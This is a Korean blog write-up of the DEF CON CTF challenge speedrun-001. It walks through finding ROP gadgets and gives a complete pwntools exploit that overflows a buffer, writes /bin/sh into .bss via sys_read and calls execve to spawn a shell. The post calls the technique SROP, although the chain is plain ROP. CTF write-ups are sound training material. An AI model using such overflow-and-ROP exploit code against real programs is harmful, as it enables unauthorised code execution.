본문 바로가기

CTF/Defcon

Defcon pwnable_speedrun-001 Write up

일단 이 문제는 간단한 SROP 문제이다. (그러면서 대회 당일날 못풀었다 ㅋㅋㅋ)

일단 syscall 을 구해줘야된다.

그리고 rax, rdi, rsi, rdx, syscall 순으로 구해줘야된다. 가젯을 구하기위해서 나는 ropgadget 이란것을 사용했다.

이런식으로 가젯을 구해주고 syscall 도 구하면 된다. 처음에 syscall 구하는방법을 몰라서 고생했다 ㅋㅋㅋㅋ

그냥 이런식으로 바꿔줘서 찾으면 된다 ㅋㅋㅋ

여기에 존재한다.

 

익스 시나리오를 짜보면 syscall 이 존재하므로 sys read 를 이용해서 bss영역에 /bin/sh 을 쓸준비를 한다.

그리고 bss 영역에있는 /bin/sh 을 사용하여 sys_execve 를 이용해서 쉘을 따주면 되겠다.

 

from pwn import *

p = process("speedrun-001")
binf = ELF("speedrun-001")

addr_syscall = 0x474e65
addr_pop_rax = 0x415664
addr_pop_rdi = 0x400686
addr_pop_rsi = 0x4101f3
addr_pop_rdx = 0x4498b5
addr_bss = binf.bss()

payload = "A" * 1032
payload += p64(addr_pop_rax) + p64(0)  #syscall table nuber sysread
payload += p64(addr_pop_rdi) + p64(0)
payload += p64(addr_pop_rsi) + p64(addr_bss)
payload += p64(addr_pop_rdx) + p64(8)
payload += p64(addr_syscall)

payload += p64(addr_pop_rax) + p64(59) #syscall table number sys_execve
payload += p64(addr_pop_rdi) + p64(addr_bss)
payload += p64(addr_pop_rsi) + p64(0)
payload += p64(addr_pop_rdx) + p64(0)
payload += p64(addr_syscall)

p.recvuntil("?\n")
p.send(payload)
p.send("/bin/sh")

p.interactive()

 

쉘이 따진다~

'CTF > Defcon' 카테고리의 다른 글

Defcon pwnable_speedrun-002 Write up  (0) 2019.10.23
Defcon pwnable_r0pbaby Write up  (0) 2019.10.20
PlaidCTF pwnable_ropasaurusrex Write up  (0) 2019.10.20